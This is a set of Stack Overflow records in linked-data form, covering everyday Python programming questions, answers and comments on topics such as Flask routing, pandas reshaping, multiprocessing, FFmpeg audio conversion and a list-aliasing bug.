has comment: http://stackoverflow.com/comment/84371495
tagged with: rgb
has comment: http://stackoverflow.com/comment/84392862
has comment: http://stackoverflow.com/comment/84503488
has comment: http://stackoverflow.com/comment/84441271
type: Question
score: 0
has comment: http://stackoverflow.com/comment/84372420
has title: Listing all permutations of RGB in Python
has comment: http://stackoverflow.com/comment/84452428
linked to: http://stackoverflow.com/q/5280799
has comment: http://stackoverflow.com/comment/84415972
has comment: http://stackoverflow.com/comment/84371610
favorite count: 0
has comment: http://stackoverflow.com/comment/84502890
has comment: http://stackoverflow.com/comment/84372564
answer count: 3
has body: I am trying to make a list of all possible 27 3-character permutations of RGB. My function is as follows: def make_big_RGB(): rgb = ('r', 'g', 'b') comb_list = [] current_combination = list(rgb) #start with combination (r, g, b) for x in range(3): current_combination[0] = rgb[x] for y in range(3): current_combination[1] = rgb[y] for z in range(3): current_combination[2] = rgb[z] comb_list.append(current_combination) print('Added' + str(current_combination)) for _ in comb_list: print(_) make_big_RGB() The result is as follows: Added['r', 'r', 'r'] Added['r', 'r', 'g'] Added['r', 'r', 'b'] Added['r', 'g', 'r'] Added['r', 'g', 'g'] Added['r', 'g', 'b'] Added['r', 'b', 'r'] Added['r', 'b', 'g'] Added['r', 'b', 'b'] Added['g', 'r', 'r'] Added['g', 'r', 'g'] Added['g', 'r', 'b'] Added['g', 'g', 'r'] Added['g', 'g', 'g'] Added['g', 'g', 'b'] Added['g', 'b', 'r'] Added['g', 'b', 'g'] Added['g', 'b', 'b'] Added['b', 'r', 'r'] Added['b', 'r', 'g'] Added['b', 'r', 'b'] Added['b', 'g', 'r'] Added['b', 'g', 'g'] Added['b', 'g', 'b'] Added['b', 'b', 'r'] Added['b', 'b', 'g'] Added['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] ['b', 'b', 'b'] The last for loop prints out the wanted result, but when I subsequently try to print the whole list, the result is somehow a list of 27 items of [b, b, b]. I don't understand why.
has answer: http://stackoverflow.com/a/48687101
tagged with: python
linked to: http://stackoverflow.com/q/3099987
has answer: http://stackoverflow.com/a/48686942

http://stackoverflow.com/comment/84459205
has text: You needn't, you can change it into `s.sendall("HAHAHA")`.
score: 0
comment on: http://stackoverflow.com/q/48730005
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/84349567
has text: so your error "AttributeError: 'Series' object has no attribute 'columns'" cannot be correct for the line of code i provided - pls post full error & traceback on your question.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/48674982

http://stackoverflow.com/a/48687216
has comment: http://stackoverflow.com/comment/84373002
has body: PyQt5.4.1 should be compatible - download from pyqt-sourceforge: https://sourceforge.net/projects/pyqt/files/PyQt5/PyQt-5.4.1/ furthermore, when using: pip install PyQt5 it should find a compatible version for you ;)
type: AcceptedAnswer
score: 0
answers question: http://stackoverflow.com/q/48683200
type: Answer
accepted answer of: http://stackoverflow.com/q/48683200
has comment: http://stackoverflow.com/comment/84373046

http://stackoverflow.com/comment/84379936
score: 2
type: Comment
type: QuestionComment
has text: It may be easier to assist you if you post some sample code and its expected output. Thank you for the great description of your problem though! It's rare to see new users put as much work into their questions as you have. Clear and concise :)
comment on: http://stackoverflow.com/q/48690874

http://stackoverflow.com/comment/84373872
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48671377
has text: @BiasharaEmployers Open a Bash console (not a Python one - you should find a button on the bottom left of the dashboard that says "$ Bash") and enter `pip install --user flask-mysql`. See https://help.pythonanywhere.com/pages/InstallingNewModules/

http://stackoverflow.com/q/48719037
has comment: http://stackoverflow.com/comment/84437102
score: 0
accepted answer: http://stackoverflow.com/a/48719092
has comment: http://stackoverflow.com/comment/84437211
answer count: 1
tagged with: url
has comment: http://stackoverflow.com/comment/84437112
has comment: http://stackoverflow.com/comment/84437090
has comment: http://stackoverflow.com/comment/84437053
has comment: http://stackoverflow.com/comment/84437137
tagged with: python
tagged with: url-routing
type: AnsweredQuestion
has title: flask: hashes "#" in the routing
type: Question
has comment: http://stackoverflow.com/comment/84437088
has answer: http://stackoverflow.com/a/48719092
tagged with: flask
has body: I'm working with google API lately and use simple flask method to retrieve some id_token. here is my code with explanations in comment: @app.route('/afterlogin/id_token') def afterlogin(id): # get the id print(id) # print it return render_template(r'creds_view.html', data=id) # and render the template with 'id' in it (for test purposes) So what happens is that after the user logins, the api redirects the id_token to http://localhost:8000/afterlogin/#id_token=some_id_token. but for some reason it is showing me 404 error. i think it is because of the '#' in the url , i want the id_token. i know that '#' in html means for path linking or routing in 'href'. so for that i tried. @app.route('/afterlogin/&lt;path:id&gt;') but the error still persists. any guesses?
tagged with: routes

http://stackoverflow.com/comment/84505741
type: QuestionComment
has text: D'oh... I'm using Gtk 3.22 on Windows but Gtk 3.18 on Ubuntu 16.04. Thanks.
comment on: http://stackoverflow.com/q/48750086
score: 1
type: Comment

http://stackoverflow.com/a/48748940
type: AcceptedAnswer
downvote count: 0
accepted answer of: http://stackoverflow.com/q/48710255
upvote count: 2
has comment: http://stackoverflow.com/comment/85123855
answers question: http://stackoverflow.com/q/48710255
type: Answer
score: 2
has body: There's a small overhead with initiating a process (50ms+ depending on data size) so it's generally best to MP the largest block of code possible. From your comment it sounds like each loop of t is independent so we should be free to parallelize this. When python creates a new process you get a copy of the main process so you have available all your global data but when each process writes the data, it writes to it's own local copy. This means dist[i,p] won't be available to the main process unless you explicitly pass it back with a return (which will have some overhead). In your situation, if each process writes dist[i,p] to a file then you should be fine, just don't try to write to the same file unless you implement some type of mutex access control. #!/usr/bin/python import time import multiprocessing as mp import numpy as np data_Y = 11 #11000 data_I = 90 #90000 dist_n = 100 nrm = np.linspace(1,10,dist_n) I = np.random.randn(data_I, 1000) Y = np.random.randn(data_Y, 1000) dist = np.zeros((data_I, dist_n)) def worker(t): st = time.time() for i in range(data_I): d = np.abs(I[i] - Y[t]) for p in range(dist_n): dist[i,p] = np.sum(d**nrm[p])/nrm[p] # Here - each worker opens a different file and writes to it print 'Worker time %4.3f mS' % (1000.*(time.time()-st)) if 1: # single threaded st = time.time() for x in map(worker, range(data_Y)): pass print 'Single-process total time is %4.3f seconds' % (time.time()-st) print if 1: # multi-threaded pool = mp.Pool(28) # try 2X num procs and inc/dec until cpu maxed st = time.time() for x in pool.imap_unordered(worker, range(data_Y)): pass print 'Multiprocess total time is %4.3f seconds' % (time.time()-st) print If you re-increase the size of data_Y/data_I again, the speed-up should increase up to the theoretical limit.
has comment: http://stackoverflow.com/comment/85127130

http://stackoverflow.com/comment/84317999
comment on: http://stackoverflow.com/a/48659313
type: AnswerComment
has text: @BenjaminToueg oh, I see I selected Mapmember instead of Map_desc. New version should work.
score: 0
type: Comment

http://stackoverflow.com/a/48695271
has body: You're super close, you just really need to give your submission buttons a 'name' so you can refer to their values when the form gets submitted, so lets call them both action: Make Selected User an Admin Make Selected User a regular user With a name set, you can then check on it's value: @auth.route('/admin_user', methods=['GET', 'POST']) def example(): if request.method == 'POST': action = request.form.get('action') selected_user = request.form.get('user_search_admin') if action == 'admin_user_promote': admin_user_promote(selected_user) elif action == 'admin_user_demote': admin_user_demote(selected_user) return render_template('example.html') You'd need to change your admin_user_promote and admin_user_demote functions to accept the selected_user so you would have a reference to use within the function: def admin_user_demote(user): #update database, etc etc with `user` If you wanted to flash a message (lets say they get returned to the home page once a user is updated, and the home page looks for flashed messages) you might want to just add another function that returns a username-- e.g: def resolve_username(user_id): # get the username from the database, etc. username = User.query.filter_by(id=user_id).first() return username Then adjust your view to match our new rules: @auth.route('/admin_user', methods=['GET', 'POST']) def example(): if request.method == 'POST': action = request.form.get('action') selected_user = request.form.get('user_search_admin') username = resolve_username(selected_user) if action == 'admin_user_promote': admin_user_promote(selected_user) flash('{} promoted'.format(username)) elif action == 'admin_user_demote': admin_user_demote(selected_user) flash('{} demoted'.format(username)) else: flash('Something odd happened!') return redirect(url_for('home')) return render_template('example.html')
answers question: http://stackoverflow.com/q/48689238
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48689238
has comment: http://stackoverflow.com/comment/84401568
type: Answer
score: 0

http://stackoverflow.com/comment/84590205
comment on: http://stackoverflow.com/a/48727297
type: Comment
has text: Yes, it works perfectly. Thanks for your help and patience. I understand what I have to do, now for the tedious work.
type: AnswerComment
score: 0

http://stackoverflow.com/comment/120252315
has text: does not work if the second df has delta rows.
score: 0
type: AnswerComment
type: Comment
comment on: http://stackoverflow.com/a/48647840

http://stackoverflow.com/q/48673914
accepted answer: http://stackoverflow.com/a/48674107
type: Question
has title: How to replace single quotes within a string with quoted double quotes
has comment: http://stackoverflow.com/comment/84346680
score: 0
has comment: http://stackoverflow.com/comment/84346286
answer count: 1
tagged with: string
favorite count: 0
has answer: http://stackoverflow.com/a/48674107
has comment: http://stackoverflow.com/comment/84346327
tagged with: python
has body: For example: Input: {'match_all':{}} Output: {'"match_all"':{}} Is there some regex that can do this? I know I could iterate through the string and whenever I encounter a key replace each side of it with ‘“ followed by “‘; however, I was wondering if any of you knew a more pythonic way of doing this.
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84346374
upvote count: 1
has comment: http://stackoverflow.com/comment/84346397
downvote count: 1

http://stackoverflow.com/a/48738940
answers question: http://stackoverflow.com/q/48738650
has comment: http://stackoverflow.com/comment/84478074
has comment: http://stackoverflow.com/comment/84478203
downvote count: 0
score: 1
has body: Python uses Karatsuba multiplication so the running time of multiplication is O(n^1.585). But division is still O(n^2). For exponentiation, Python uses a left-to-right method with a 5-bit window. (It consumes 5 bits at once instead of just 1 bit. It does use more memory but will generally be faster.) To get faster computations, you may want to look at gmpy2. It wraps the GMP multiple-precision library and will be faster. I ran a quick test and I think it will be ~100x faster. Disclaimer: I maintain gmpy2.
has comment: http://stackoverflow.com/comment/84477713
has comment: http://stackoverflow.com/comment/84477857
upvote count: 1
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/84477648
has comment: http://stackoverflow.com/comment/84477578
accepted answer of: http://stackoverflow.com/q/48738650
has comment: http://stackoverflow.com/comment/84477830
type: Answer

http://stackoverflow.com/a/48745138
has comment: http://stackoverflow.com/comment/84490745
answers question: http://stackoverflow.com/q/48743788
type: Answer
has body: I have a couple of criticisms of your MyReader class. I was going to post an alternative that's a context manager but Sraw beat me to it. ;) You shouldn't use names that start and end with double underscores like __iterate__. Such names are essentially reserved for the language implementors, and if an official __iterate__ magic method is added to the language your code will break. If you want a private method, you could name it _iterate. There is a little problem with that __iterate__ method: its with block is only exited when the file has been completely read for the current self.iterable, so if the MyReader instance gets reset then you have an old open file sitting around, consuming a file descriptor. Sure, it'll get closed eventually, when the program exits (or you delete the MyReader instance), but it's messy IMHO. Also, I'm not totally happy with the yield line.strip(). Sure, it's convenient most of the time when you're reading a text file, but in some cases the caller may want to look at any leading or trailing white space, and you've taken that option away from them. BTW, that __iter__ method is redundant: your class still does what its supposed to do if you eliminate that method.
upvote count: 1
score: 1
downvote count: 0

http://stackoverflow.com/comment/84350015
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48675508
has text: numpy provides masked arrays. Seems like [this is not working](https://stackoverflow.com/questions/24577248/how-to-make-a-3d-matlibplot-not-show-masked-values) though. So, it now depends on whether you need a colormap or not, using `nan`s would prevent a colormap from being used. Should we close this as duplicate?

http://stackoverflow.com/a/48779163
answers question: http://stackoverflow.com/q/48762286
type: Answer
downvote count: 1
has body: Not sure where that array comes from, but it looks like the output of explained_variance_ or explained_variance_ratio_ attributes. They are as they say; explained variance and explained variance ratio compared to your data. Usually when doing a PCA you're defining a minimum of ratio of variance you want to keep from the data. Lets say you want to keep at least 90% of the variance in your data. Here's code to find how many principle components (n_components parameter in PCA) you need: pca_cumsum = pca.explained_variance_ratio_.cumsum() pca_cumsum &gt;&gt; np.array([.54, .79, .89, .91, .97, .99, 1]) np.argmax(pca_cumsum &gt;= 0.9) &gt;&gt; 3 And as desertnaut said; labels will be ignored, as it is not used in PCA.
upvote count: 0
score: -1

http://stackoverflow.com/comment/84426377
type: Comment
comment on: http://stackoverflow.com/a/48711271
score: 0
type: AnswerComment
has text: Nice one, that fixed my next syntax error, but now I have next one, when there are multiple empty values next to each other, empty comma separated value and more empty comma separated value. I'm not controlling HTTP output, that's why this is so nasty.

http://stackoverflow.com/a/48798609
has body: You're not setting John's gender in __init__(). Human().gender will always be {0: 'Male', 1: 'Female'}. If you want to lay it out like you have, you'll want something closer to the following: def __init__(self, name, gender, tribe): ... genders = { 0: 'Male', 1: 'Female', } self.gender = genders[gender] ... In the above example, we're setting self.gender to the value named by the key in the genders dict.
score: 1
has comment: http://stackoverflow.com/comment/84599824
has comment: http://stackoverflow.com/comment/84599914
upvote count: 1
has comment: http://stackoverflow.com/comment/84610762
downvote count: 0
type: Answer
answers question: http://stackoverflow.com/q/48798577

http://stackoverflow.com/q/48732959
has title: f2py and MPI Pool: Child processes continue when parent job is deleted on cluster
has comment: http://stackoverflow.com/comment/84578794
upvote count: 5
has body: I am running a 30-core Python job on a cluster using MPIPool. When I delete the job through the ubiquitous qdel &lt;job ID&gt; command, only the parent is killed, while the child processes continue to run. In other words: qdel makes the job-ID disappear from the queue, but the 30 (= number of cores) initiated Python processes remain present in the background, contributing heavily to the cluster load. Furthermore, I can only ''manually'' kill the background processes on the one node I am logged into. Another thing that complicates matters is the fact that my Python script calls on a piece of Fortran code (I am using the f2py module to chieve this). I have noticed in the past, when running the programme locally, that that Fortran does not respond to a Ctrl+C interrupt. The programme is aborted once it arrives at the Python layer again. I have consulted the documentation relating to MPIPool, which I use to parallelise the job, but I did not manage to pinpoint where exactly things go wrong. Ideally, I would like a child process to call on its parent regularly and to terminate itself when it notices that the parent is no longer there. At the moment it seems that deleting the job simply cuts the rope that ties parent and child together, without deleting the child. The snippet below shows how the pool object is integrated my main code. In addition I use a bash script to submit a job to the cluster queue (containing echo 'mpirun -np '$NCORES' python '$SKRIPTNAME &gt;&gt; $TMPFILE) and request the number of cores I want to use. The latter should work fine. import emcee from emcee.utils import MPIPool pool = MPIPool() if not pool.is_master(): pool.wait() sys.exit(0) sampler = emcee.EnsembleSampler(nwalkers, ndim, lnprob, pool = pool) pos, prob, state = sampler.run_mcmc(p0, 1000) # p0 contains the initial walker positions pool.close() Background: I use the emcee module to carry out a Monte Carlo Simulation. lnprob is a likelihood function that is evaluated for the parameter se…
tagged with: cluster-computing
type: Question
has comment: http://stackoverflow.com/comment/84478173
score: 5
has comment: http://stackoverflow.com/comment/84504219
downvote count: 0
has comment: http://stackoverflow.com/comment/84491488
favorite count: 0
has comment: http://stackoverflow.com/comment/84578780
has comment: http://stackoverflow.com/comment/84498110
tagged with: f2py
tagged with: mpi
tagged with: python
has comment: http://stackoverflow.com/comment/84496956
has comment: http://stackoverflow.com/comment/84533907
has comment: http://stackoverflow.com/comment/84478164
has comment: http://stackoverflow.com/comment/84489478
answer count: 0
tagged with: fortran
type: UnansweredQuestion

http://stackoverflow.com/a/48709906
has body: You can use tf.tile for that. arrayToStack = input[:,:,:,0] shape = list(arrayToStack.shape)+[1] output = tf.tile(arrayToStack.reshape(shape), [1,1,1,3])
score: 0
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/48687395
answers question: http://stackoverflow.com/q/48687395

http://stackoverflow.com/a/48687438
has comment: http://stackoverflow.com/comment/84383743
type: Answer
score: 2
has body: This should not be too slow. The array is iterated only once. The result (ind) is a dictionary value -> list of indexes. import numpy as np arr = np.array([2, 3, 3, 4, 4, 9, 5, 6, 6, 6, 6, 7, 8, 9]) ind = dict() for i, val in enumerate(arr): ind.setdefault(val, []).append(i)
downvote count: 0
upvote count: 2
accepted answer of: http://stackoverflow.com/q/48686381
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/48686381

http://stackoverflow.com/comment/84453230
type: Comment
has text: @Ryan Yes thank you oversight on my behalf
type: QuestionComment
comment on: http://stackoverflow.com/q/48727027
score: 0

http://stackoverflow.com/q/48692615
tagged with: python
tagged with: opencv
tagged with: dlib
answer count: 0
has body: I am trying to select a custom ROI as shown in the figure below: I am using dlib to detect and facial landmarks, now that I have facial landmark points, how can I draw above shown mask below eyes? For now, I have been able to draw ROI using some approximations based upon facial landmark coordinates and joining the coordinates using polyline function of OpenCV as shown in the above image. My results so far look like this now: Q: how can I make it smooth as shown in the first figure? I have been recommended to use Fourier Descriptors for this but I can't figure out how can I use Fourier Descriptors for this problem.
score: 1
has comment: http://stackoverflow.com/comment/84396135
has title: How to smoothen a closed polyline shape in OpenCV
tagged with: smoothing
type: Question
downvote count: 0
upvote count: 1
favorite count: 0
type: UnansweredQuestion

http://stackoverflow.com/q/48740160
has answer: http://stackoverflow.com/a/48740560
linked to: http://stackoverflow.com/q/4854513
tagged with: python
tagged with: pcm
tagged with: audio
type: AnsweredQuestion
type: Question
accepted answer: http://stackoverflow.com/a/48740560
has title: How can I convert audio to WAVE_FORMAT_PCM using FFmpeg?
answer count: 1
has body: I am using Python's wave module to read audio, and using FFmpeg to convert audio from other types to wav. However, I am encountering some problem. I wrote v.py to generate an silence audio file a.wav import sys, wave, math import numpy as np wave_data = np.zeros(44100).astype(np.short) f = wave.open('a.wav', 'wb') f.setnchannels(1) f.setsampwidth(2) f.setframerate(96000) f.writeframes(wave_data.tostring()) f.close() Then I used FFmpeg to "copy" a.wav to b.wav (though it seems to encode / decode the file), but I can only read a.wav with Python; b.wav cannot be opened. [user@localhost tmp]$ ffmpeg -i a.wav b.wav Guessed Channel Layout for Input Stream #0.0 : mono Input #0, wav, from 'a.wav': Duration: 00:00:00.46, bitrate: 1536 kb/s Stream #0:0: Audio: pcm_s16le ([1][0][0][0] / 0x0001), 96000 Hz, mono, s16, 1536 kb/s Stream mapping: Stream #0:0 -&gt; #0:0 (pcm_s16le (native) -&gt; pcm_s16le (native)) Press [q] to stop, [?] for help Output #0, wav, to 'b.wav': Metadata: ISFT : Lavf57.71.100 Stream #0:0: Audio: pcm_s16le ([1][0][0][0] / 0x0001), 96000 Hz, mono, s16, 1536 kb/s Metadata: encoder : Lavc57.89.100 pcm_s16le size= 86kB time=00:00:00.45 bitrate=1537.8kbits/s speed= 706x video:0kB audio:86kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.115646% [user@localhost tmp]$ python3 Python 3.6.4 (default, Jan 23 2018, 22:25:37) [GCC 7.2.1 20170915 (Red Hat 7.2.1-2)] on linux Type "help", "copyright", "credits" or "license" for more information. &gt;&gt;&gt; import wave &gt;&gt;&gt; wave.open('a.wav') &lt;wave.Wave_read object at 0x7efea1c5e550&gt; &gt;&gt;&gt; wave.open('b.wav') Traceback (most recent call last): File "&lt;stdin&gt;", line 1, in &lt;module&gt; File "/usr/lib64/python3.6/wave.py", line 499, in open return Wave_read(f) File "/usr/lib64/python3.6/wave.py", line 163, in __init__ self.initfp(f) File "/usr/lib64/python3.6/wave.py", line 143, in initfp self._read_fmt_chunk(chunk) File "/usr/lib64/python3.6/wave.py", line 260, in _read_fm…
score: 0
tagged with: ffmpeg
has comment: http://stackoverflow.com/comment/84479907

http://stackoverflow.com/comment/84564360
type: QuestionComment
type: Comment
has text: I’m using the OS X
score: 0
comment on: http://stackoverflow.com/q/48781514

http://stackoverflow.com/a/50364543
type: Answer
score: 0
answers question: http://stackoverflow.com/q/48777891
has body: I would like to propose this approach to the problem. A while loop is used to cycle the main division and the reminder calculus A for loop is used to invert the final answer string The while loop condition exclude the case in which 0 is entered becasue the division remainder will be always zero and the loop will be infinite. In this case the answer will be forced to 0 by the first if. def dec2hex(hexnum): hexstring = ["0", "1", "2", "3", "4", "5", "6", "7", "8", "9", "A", "B", "C", "D", "E", "F"] counter = 0 remainder = [] answer = "" if hexnum &gt; 0: while hexnum &gt; 0: remainder.append(hexnum % 16) hexnum = hexnum // 16 counter = counter + 1 for reverse in remainder[::-1]: answer = answer + hexstring[reverse] else: answer = "0" return answer print(dec2hex(2000))

http://stackoverflow.com/comment/84371975
type: QuestionComment
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48686886
has text: Possible duplicate of [generating permutations with repetitions in python](https://stackoverflow.com/questions/3099987/generating-permutations-with-repetitions-in-python)

http://stackoverflow.com/comment/84420137
has text: scss.errors.SassError: Error parsing block: @import '../abstracts/_variables'; .tut { margin-top: 20px; color: $color-orange; background-color: $base-color; }
comment on: http://stackoverflow.com/q/48710213
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/q/48665250
has body: I need to robust way to get the xpath for this url "http://www.screener.com/v2/stocks/view/5131" However, there are too many blank space before the desirable data in between and it is not robust. The part I need is 11.48,9.05,11.53 from the html below: Financial Year Revenue ('000) Net ('000) EPS 30 Nov, 2017 205,686 52,812 11.48 30 Nov, 2016 191,301 41,598 9.05 30 Nov, 2015 225,910 51,082 11.53 My code as below from lxml import html import requests page = requests.get('http://www.screener.com/v2/stocks/view/5131') output = html.fromstring(page.content) output.xpath('//tr/td/following-sibling::td/text()') How the code shall be change so that it can robustly get the three number from the tables as shown above? I just want the output 11.48,9.05,11.53but I unable to get rid of too many of the data inside teh tables
has answer: http://stackoverflow.com/a/48665692
answer count: 1
has title: Python: robust xpath for table in tr and td tags, eliminate unwanted data
score: 0
tagged with: lxml
tagged with: http://stackoverflow.com/tag/html
tagged with: python
tagged with: xpath
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/48665692
type: Question

http://stackoverflow.com/a/48779372
downvote count: 0
score: 1
has body: The reason your code is not executing as you expect is because you are not actually checking if _month equals each of the numbers. if _month == 1 or 2 or 3 is not the same as if _month == 1 or _month == 2 or _month == 3. Think of the first as if (_month == 1) or (2) or (3). _month == 1 evaluates to False, but 2 or 3 are non-zero values that evaluate to True, so the first if is always taken.
accepted answer of: http://stackoverflow.com/q/48779278
answers question: http://stackoverflow.com/q/48779278
upvote count: 1
type: AcceptedAnswer
type: Answer

http://stackoverflow.com/comment/84383537
type: Comment
type: QuestionComment
score: 1
has text: Please provide an example array.
comment on: http://stackoverflow.com/q/48691429

http://stackoverflow.com/a/48697846
has body: @metatoaster indicated a link which talks about a way to temporarily redirect the standard output to /dev/null. That could show something about how to use dup2, but is not quite an answer by itself. python's interface to curses uses only initscr, which means that the curses library writes its output to the standard output. The SWIG'd library writes its output to the standard output, but that would interfere with the curses output. You could solve the problem by redirecting the curses output to /dev/tty, and redirecting the SWIG'd output to a temporary file, and reading the file, checking for updates to add to the screen. Once initscr has been called, the curses library has its own copy of the output stream. If you can temporarily point the real standard output to a file first (before initializing curses), then open a new standard output to /dev/tty (for initscr), and then restore the (global!) output stream then that should work.
has comment: http://stackoverflow.com/comment/84394684
has comment: http://stackoverflow.com/comment/84394740
score: 1
upvote count: 1
type: Answer
downvote count: 0
has comment: http://stackoverflow.com/comment/84394722
answers question: http://stackoverflow.com/q/48697482

http://stackoverflow.com/comment/84362101
has text: What should happen if there are ```var5```, ```var6``` (and ```my_list``` grows too)? Is it about accumulating the sum of even elements in ```answer1``` and the sum of odd elements in ```answer2```? (I see that it is not what is happening, because right now you have the first two in ```answer1``` and the second two in ```answer2```)
score: 0
type: QuestionComment
comment on: http://stackoverflow.com/q/48672429
type: Comment

http://stackoverflow.com/comment/84528867
type: Comment
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/48763185
has text: [Cross-posted without declaration](https://discuss.circleci.com/t/running-flask-app-in-background/20022) to the CircleCI forum (complete with copy+paste tripwire). Please always declare your cross-posting.

performance
tags question: http://stackoverflow.com/q/48798156
tags question: http://stackoverflow.com/q/48669213
tags question: http://stackoverflow.com/q/48704610
tags question: http://stackoverflow.com/q/48702039
tags question: http://stackoverflow.com/q/48762810
tags question: http://stackoverflow.com/q/48716244
tags question: http://stackoverflow.com/q/48741516
tags question: http://stackoverflow.com/q/48730514
tags question: http://stackoverflow.com/q/48749668
tags question: http://stackoverflow.com/q/48705143
tags question: http://stackoverflow.com/q/48665126
tags question: http://stackoverflow.com/q/48783606
tag name: performance
tags question: http://stackoverflow.com/q/48793892
tags question: http://stackoverflow.com/q/48719577
type: Tag
tags question: http://stackoverflow.com/q/48794501
tags question: http://stackoverflow.com/q/48774583
tags question: http://stackoverflow.com/q/48648374
tags question: http://stackoverflow.com/q/48784935

http://stackoverflow.com/q/48694462
has title: How to get one hot encoded vector as in the table below
upvote count: 4
has body: I am trying to get my table in the following form. For some reason, i could not get my pivot code working. df = pd.DataFrame([('a','f1'), ('a','f2'),('a','f3') ,('b','f4'),('c','f2'), ('c','f4')], columns = ['user', 'val']) df --- user val a f1 a f2 a f3 b f4 c f2 c f4 &gt;&gt; output user f1 f2 f3 f4 a 1 1 1 0 b 0 0 0 1 c 1 0 1 0
answer count: 3
tagged with: pandas
downvote count: 0
has answer: http://stackoverflow.com/a/48694503
favorite count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48695834
tagged with: python
has answer: http://stackoverflow.com/a/48694471
type: Question
score: 4

http://stackoverflow.com/a/48800812
has comment: http://stackoverflow.com/comment/84604500
upvote count: 1
has comment: http://stackoverflow.com/comment/84604443
score: 1
has body: You can set_index as first step and add parameter expand=True to split for DataFrame: df2 = df.set_index('List').A.str.split(',', expand=True).stack().reset_index() You get error because dupes in columns names, so df.A return all columns A as DataFrame. There are 2 possible solutions: upgrade pandas, because read_csv in newer versions manage dupes - add .1, .2 (pandas 0.19+) change columns names by cumcount: s = df.columns.to_series() df.columns = df.columns + s.groupby(s).cumcount().astype(str).radd('.').replace('.0','') Sample: df = pd.DataFrame({'A':list('abcdef'), 'B':[4,5,4,5,5,4], 'C':[7,8,9,4,2,3], 'D':[1,3,5,7,1,0], 'E':[5,3,6,9,2,4], 'F':list('aaabbb')}) df.columns = list('AABBCD') print (df) A A B B C D 0 a 4 7 1 5 a 1 b 5 8 3 3 a 2 c 4 9 5 6 a 3 d 5 4 7 9 b 4 e 5 2 1 2 b 5 f 4 3 0 4 b s = df.columns.to_series() df.columns = df.columns + s.groupby(s).cumcount().astype(str).radd('.').replace('.0','') print (df) A A.1 B B.1 C D 0 a 4 7 1 5 a 1 b 5 8 3 3 a 2 c 4 9 5 6 a 3 d 5 4 7 9 b 4 e 5 2 1 2 b 5 f 4 3 0 4 b
answers question: http://stackoverflow.com/q/48800795
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/48800795

http://stackoverflow.com/q/48726000
favorite count: 0
tagged with: python
type: AnsweredQuestion
has title: Python print two unique strings from list
has comment: http://stackoverflow.com/comment/84452302
has answer: http://stackoverflow.com/a/48726009
downvote count: 1
type: Question
score: -1
answer count: 2
upvote count: 0
has answer: http://stackoverflow.com/a/48726040
has body: I am trying to print two unique strings from the movies list one in day one and one in day two. So far I have tried random.choice but then I switched to random.shuffle. I have two movies showing but they are both showing on both days and I'm not sure what step to take to separate the two. from flask import Flask import random app = Flask(__name__) app.config['DEBUG'] = True # displays runtime errors in the browser, too @app.route("/") def index(): # choose a movie by invoking our new function movie = get_random_movie() # build the response string day1 = " Movie of the Day " day1 += " " day1 += " " + movie + " " day1 += " " # build the response string day2 = " Movie of the Day Tomorrow " day2 += " " day2 += " " + movie + " " day2 += " " return day1 + day2 def get_random_movie(): movies = ["Akira", "Ghost In The Shell", "Princess Mononoke", "Kimi no na wa", "Howl's Moving Castle" ] random.shuffle(movies) return movies[1] + movies[2] app.run() Here is my output Movie of the Day Howl's Moving CastleAkira Movie of the Day Tomorrow Howl's Moving CastleAkira
accepted answer: http://stackoverflow.com/a/48726040
possible better answer: http://stackoverflow.com/a/48726009

http://stackoverflow.com/q/48655692
tagged with: drop-down-menu
has title: How do I make a selection from a dropdown list in python without using selenium
favorite count: 0
type: UnansweredQuestion
tagged with: python
tagged with: web-scraping
has answer: http://stackoverflow.com/a/48655844
downvote count: 1
type: Question
score: -1
has body: new to python! I've navigated to a webpage using the requests package and used a set of defined cookies cookies = {[insert cookies here]} url = "[http://myurl.net]" page = requests.get(url, cookies=cookies).content if the html for the dropdown menu is below, how would i select the menu item titled "FULTON" without using selenium County: All Counties APPLING ATKINSON BACON BAKER BALDWIN FULTON thanks!
upvote count: 0
answer count: 1

onclick
tags question: http://stackoverflow.com/q/48728932
type: Tag
tag name: onclick

http://stackoverflow.com/comment/84600353
comment on: http://stackoverflow.com/a/48778583
score: 0
type: AnswerComment
has text: I did not wrote about your filters dictionary having to be comprised of real field objects, picked from the model classes - the other answer deals into this. I supposed you knew it before I wrote this answer.
type: Comment

http://stackoverflow.com/a/48771035
has body: This one should work: def byte_array_index(s, str_index): return len(s[:str_index].encode('utf-8'))
type: Answer
upvote count: 1
score: 1
answers question: http://stackoverflow.com/q/48770843
downvote count: 0

http://stackoverflow.com/q/48732327
tagged with: python
tagged with: concurrency
type: Question
has answer: http://stackoverflow.com/a/48747757
